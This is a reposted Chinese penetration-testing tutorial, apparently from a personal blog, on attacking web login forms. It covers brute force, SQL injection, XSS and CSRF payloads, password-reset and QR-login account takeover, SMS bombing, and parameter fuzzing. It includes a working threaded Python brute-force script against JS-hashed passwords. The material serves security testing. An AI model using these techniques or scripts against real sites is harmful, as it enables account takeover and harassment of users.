一个登陆框引起的血案[转]

优秀的人,不是不合群,而是他们合群的人里面没有你

客户给的测试范围,或者挖众测时,很多时候都只有一个简单的登陆框,想起当初的苦逼的我,只能去测测爆破弱口令,而且还是指定用户名爆破密码这种,当真是苦不堪言;

附文章内容结构图

暴力破解

指定用户名爆破密码

传统型爆破思路,用户名可以通过猜测或者信息收集获得。

猜测:admin、网站域名等

信息收集:新闻发布人、whoami等

指定密码爆破用户名

如果是后台登陆处,那么性价比会降低,因为后台登陆处,用户名可能会很少,甚至只有一个。

更加适用于普通用户登陆处。

指定弱口令爆破用户名,拿TOP1弱口令123456尝试,百试不爽。

分享一个遇到过的看似比较费劲的防御措施

编写脚本绕过防御策略

再分享一次遇到特别恶心的一次,用BurpSuite爆破时,响应包长度、状态码完全相同;

那时候还没有设置关键字匹配数据包的意识,甚是悲催,

我说:没有弱口令;同事:有啊,分明有很多。

在爆破的时候,添加匹配关键字:

可以添加登陆成功时,独有的关键字;

也可以添加登陆失败时,独有的关键字。

然后返回结果这里,便会发现多出了一列,匹配到关键字的带有对勾,没有匹配到的则空白

SQL注入

万能密码

SQL注入

Self-XSS+CSRF

经测试发现用户登陆处存在XSS,但只是Self-XSS,自己插自己,不用灰心,再看看这个登录框是否存在CSRF即可。

构造CSRF POC,将XSS的payload放到用户名这里。

测试后,发现成功弹窗

任意用户注册

如果登陆框附近存在用户注册功能时,可以尝试

失效的身份认证

如校验值默认为空

验证码可暴破

简单粗暴

任意密码重置

任意密码重置姿势太多,附上我之前做的脑图

一些详情,可以移步我的博客

原作者博客

呃。。赘述一种我比较喜欢的方式,在找回密码处不存在任意密码重置漏洞时,不用灰心,登陆进去,在个人中心处依旧会有很大几率存在任意密码重置漏洞。

如:

CSRF重新绑定手机号、邮箱号,

重新绑定时,用户身份可控,如最后的请求包可以通过修改用户id来控制绑定的用户

短信轰炸

存在用户注册、用户找回密码等功能时,尝试是否存在短信炸弹

单个用户短信炸弹

指定单个用户,然后重放发送短信的HTTP请求。

BurpSuite中的一个Tricks:不修改参数,直接重放数据包,对于短信炸弹的测试非常实用

轮询用户

每次测试这个,都是使用学校里的手机卡,遍历后面的几位,这样就可以直接询问同学是否收到短信;

每次都很刺激。

时隔一个月笔者又写了续集,呃……升华版。

文章内容结构图…升华版

信息泄露

利用泄露的信息可以大大增加我们的可测试点,从而增加我们的成功率。

HTML源代码

必看的肯定要属HTML源代码了,源代码里包含了下面所说的JS文件。HTML源代码会泄露很多信息,像程序员未删除的注释、敏感路径等都可能在HTML源代码中找的到,从来增加发现漏洞的成功率。

JS文件

很多JS文件中会泄露其他路径,或者敏感函数等。泄露其他路径可以增加我们可以测试的点,泄露一些敏感函数可以实现未授权访问等恶意操作。

其他敏感文件

还可以利用其他途径获得到的文件,如爆破、爬虫等其他方式得到的敏感文件,可能会发现日志文件、配置文件、网站的其他业务页面等。

点我链接登陆你的账号

这个问题多出现在第三方登陆功能中

1. 主站账号登陆

2. 微信登陆

3. QQ登陆

4. 微博登陆

5. ….

一个二维码引领风骚

将二维转换为HTTP请求转换
可以发现只有一个TOKEN参数:

使用主站APP 扫码进行登录扫描之后,会弹出确认登录框以确认登录。在点击“登录”按钮的之后,发送如下POST数据包来进行登陆:

POST https://xxx.com/xxxx/confirm HTTP/1.1

….

token=xxxxx&source=passport&fingerprint=一大长串字符

删除finderprint参数,发现对请求无影响=>删除

删除referer参数,发现对请求无影响=>可以CSRF

将请求方法改为GET型,发现失败=>只能构造表单进行CSRF

此时受害者只要是主站登陆状态下,发送了我们构造好的这个表单,那么我这里就可以直接登陆他的账号。

二维码又起风波

使用账号所绑定的微信登陆:

扫描之后发现不需要点击确认就登录了,和常规的微信二维码扫描登录完全不一样,这时候才发现原来这里是使用的微信公众号绑定的账户去登录的,解析的二维码地址为:

条件:

受害者微信公众号绑定了账号;

受害者微信内点击我们的链接,我这里就这可以直接登陆了

劫持用户身份凭证

XSS劫持

子站使用主站账号登陆时,来来回回N个数据包,经过我仔细观察,得出重要结论:

如果主站是登陆状态,那么访问如下链接,主站便会返回身份凭证

经过测试发现:这个client_id参数必须存在,但是没有什么影响,不会影响整个攻击。

然后,我们便可以使用返回的这个链接来登陆受害者这个子站。为了获得响应包里面Locatin的值,我们可以使用该域下面的XSS来获得。

JSON劫持

当然,如果发现此处返回的用户凭证如下格式,那么当然首先考虑到的便是json劫持了。

关于json劫持,大家可以移步key师傅博客

key

XSS

登陆时XSS

POST类型,尝试修改改为GET类型:

发现成功弹窗,呃,即使不能修改成功,那么还可以组合CSRF一起使用。

登陆成功时XSS

所有参数测试一遍,发现link参数,存在xss,直接在script标签里面,并且还送URL跳转一个。

登陆失败时XSS

逐个参数进行测试后,最后发现gourl参数存在xss,过滤了script关键字,使用tab键进行绕过。

利用泄露的文件进行XSS

通过源代码发现了一个隐藏的链接:

打开之后发现提示缺少sid参数,此时手动构造:

点击确定之后,跳过去的是一个荒废的页面,此时我回过头来看了一下源代码,尝试手动添加action、method参数:

发现了method参数有效,此时构造xss payload,成功弹窗(= = 没想到method参数也可以)。

接口JSON XSS

发现请求链接是url

而响应包内容是:

jQuery18900926711223842687({"errorCode":1,"errorMessage":xxxxxxx})

灵光一闪:可以测试JSON劫持嘛。但是由于响应包的内容并没有啥作用,所以此处的JSON劫持完全没有危害,但是这里却还可以测试XSS漏洞。

构造如下链接,成功弹窗:

http://xxxx/swap/im?callback=<script>alert(1)</script>

URL跳转

用户登陆这个功能这里,可以测试的点可以但不仅仅并且不一定是如下几个:

登陆成功后跳转到的页面

此处link1参数可以控制跳转到的页面:

登陆失败后跳转到的页面

此处的gourl参数可以控制返回的页面:

可以看到设置了自动跳转

未授权访问

JS文件背后的秘密

在查看源代码时发现引入了该JS文件,跟踪……

发现了两处接口,逐个跟踪。

发现下面那个接口直接未授权访问… 泄露了该站,所有的用户名,此时便可以进行有针对性撞库了。

看JS如何不见泰山

通过JS来验证权限时,还可以通过删除JS来实现未授权访问,例如登陆失败时通过JS来实现跳回主页面。简言之便是绕过客户端校验类型,so easy~

不安全的对象直接引用 | 设计缺陷

JS文件GETSHELL

通过读取JS代码时发现这么一段,竟然可以文件上传。

构造如下表单:

成功GETSHELL:

任意用户登陆之绕过客户端校验

登陆成功后相应包里返回一条链接 url发现是用户ID的base64编码,此时遍历用户ID,实现任意用户登陆。

最风骚之参数的FUZZ

1)任意后台地址,手动添加参数admin=1之后,发现返回了cookie,成功登陆

2)普通用户时,手动添加debug=1之后,发现权限竟然多了一些。。

暴力破解补充

前言

Web登录界面是网站前台进入后台的通道,针对登录管理界面,常见的web攻击如:SQL注入、XSS、弱口令、暴力猜解等

思路

在Web登录界面主要有三个要素:用户名、密码、验证码,最简单的思路:

1、获取用户名,常见的有登录错误提示、网站文章编辑落款、社工等

2、猜解密码,一个有效的字典

3、验证码识别或绕过,常见有验证码与用户名密码分离、验证码不能自动刷新可重复使用、验证码识别

按照HTTP传递数据的方式,大致分为两个类型:

类型一:明文传输

没有验证码、没有做登录失败处理的web应用,这个是最喜闻乐见的,只有用户名、密码登录,可以直接加载字典进行爆破,最常见的就是使用利用Burp Suite Intruder进行暴力猜解,Intruder支持多种爆破模式:单一字典爆破、多字段相同字典爆破、多字典位置对应爆破、聚合式爆破。

类型二:前端js加密处理

现在,不少Web应用在登录过程中会使用js对密码进行加密,然后在发送服务端,使用代理工具抓包获取到的密码就是加密后的密码,在一定程度上给我们爆破增加了些麻烦。以下针对js加密爆破的思路做一个分析。

js加密爆破

常见的js实现加密的方式有:md5、base64、shal,这里编写了一个简单的demo作为测试。

login.html

<!DOCTYPE HTML>  
<html>  
<head>  
<meta charset="utf-8">  
<title>用户登录</title>  
<script type="text/ecmascript" src="md5.js"></script>
<script>
function checkInput() {
    var password_input = document.getElementById('password');
    var password_md5 = document.getElementById('password_md5');
    // set password
    password_md5.value =hex_md5(password_input.value);
    return true;
}
</script>
</head> 
<body>  
<form action="login.php" method="post" onsubmit="return checkInput()">
    用户:<input type="text" id="username" name="username"> <br/>
    密码:<input type="password" id="password"> <br/>
    <input type="hidden" id="password_md5" name="password">
    <input type="submit" value="提交" />
</form>
</body>  
</html>

常见的js md5加密,处理方式有两种,其一是利用Intruder支持多种加密和编码,对密码字段进行加密,其二是编写Python脚本,熟悉加密算法的可以自己重写或者直接利用网站的js文件对密码字段进行加密。

3.1 Burp Suite Intruder
1、抓包发送到Intruder,标记相关参数,选择 第四种模式“Cluster bomb”

2、分别选择用户名字典和密码字典,在设置密码字典的时候,选择md5加密方式对密码字段进行加密处理

3、开始进行爆破,根据返回字段长度判断是否成功,成功获取用户名和密码字段的MD5值 admin:21232f297a57a5a743894a0e4801fc3

3.2 PyExecJS
这边采用Python ExecJs来执行Js语句模拟前端对账号密码进行加密

准备:

pip install PyExecJS
phantomjs下载:https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip

编写Python脚本进行爆破:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import threadpool
from selenium import webdriver
import execjs
def getpass(str):
    with open ('md5.js','r') as js:
        source = js.read()
        phantom = execjs.get('PhantomJS')
        getpass = phantom.compile(source)
        password = getpass.call('hex_md5',str)
        return password
def login(user,passwd):
    url="http://127.0.0.1/login.php"
    payload ={'username':user,'password':getpass(passwd)}
    headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
    try:        
        response = requests.post(url,data=payload,headers=headers,timeout=5)
        result=response.content
        if result.count('fail')<1: 
            print '[success] ' +url+":"+user+':'+passwd
    except:
        pass
def getLines(fileName):
    list=[]
    with open(fileName, 'r') as fd:
        for line in fd.readlines():
            line = line.strip()
            if not len(line) or line.startswith('#'):
                continue
            list.append(line)
    return list
if __name__ == '__main__':    
    username_list=getLines('user.dict')
    password_list=getLines('pass.dict')
    userlist = [([user,passwd],None) for user in username_list for passwd in password_list]    
    pool = threadpool.ThreadPool(20)  
    reqs = threadpool.makeRequests(login,userlist)  
    [pool.putRequest(req) for req in reqs]  
    pool.wait()

成功爆破用户账号密码

漏洞实例

这里分享两个漏洞实例,在实战中,根据不同的漏洞场景,灵活地去运用暴力美学,简单,极具杀伤力。

漏洞实例一:未授权获取用户名+密码js加密+验证码重复利用
漏洞场景:网站首页包含一个登陆模块,包含用户名、密码、验证码,输入正常数据测试,发现密码采用js加密传输,验证码无法自动刷新,可重复使用。

1、扫描网站敏感文件,发现系统存在未授权访问, 通过url可直接访问系统后台日志管理模块,获取用户登录用户名等。

2、通过未授权获取到的用户名,加载密码字典,并对字典密码进行编码,暴力破解,成功爆破出用户tb的密码所对应的md5值为: 6846860684f05029abccc09a53cd66f1

TIPS:有时候遇到md5值解密不出来的时候,怎么办?我们知道,这个md5值所对应的的是我们密码字典里的某一个,可以编写Python脚本进行md5值的比对。

Python脚本:

!/usr/bin/env python
-- coding: utf-8 --
import hashlib  
src='6846860684f05029abccc09a53cd66f1'
def get_line():
    f = open('1.txt') #默认mode=‘r’
    print 'start:'
    while True:
        line = f.readline().strip()
        if len(line)==0:
            print 'line 0'
            break
        m1 = hashlib.md5()
        m1.update(line)
        tmp =m1.hexdigest()
        print line+"  :"+tmp
        if tmp==src:
            print src+u': md5对应的值为:'+line
            break

漏洞场景二:登录错误提示+验证码可识别
1、输入用户名admin,密码、验证码,提示您输入的用户名不存在,请重新输入。

2、利用Pkav HTTP Fuzzer 1.2 的验证码识别引擎,可自动识别出验证码

3、根据登录错误提示,通过加载用户名字典进行爆破,当提示“您输入的密码不正确,请重新输入”,这个时候我们获得了用户名为sysadmin,进一步加载密码字典进行爆破,对用户密码进行爆破。

转载地址,侵删

转载地址,侵删

坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%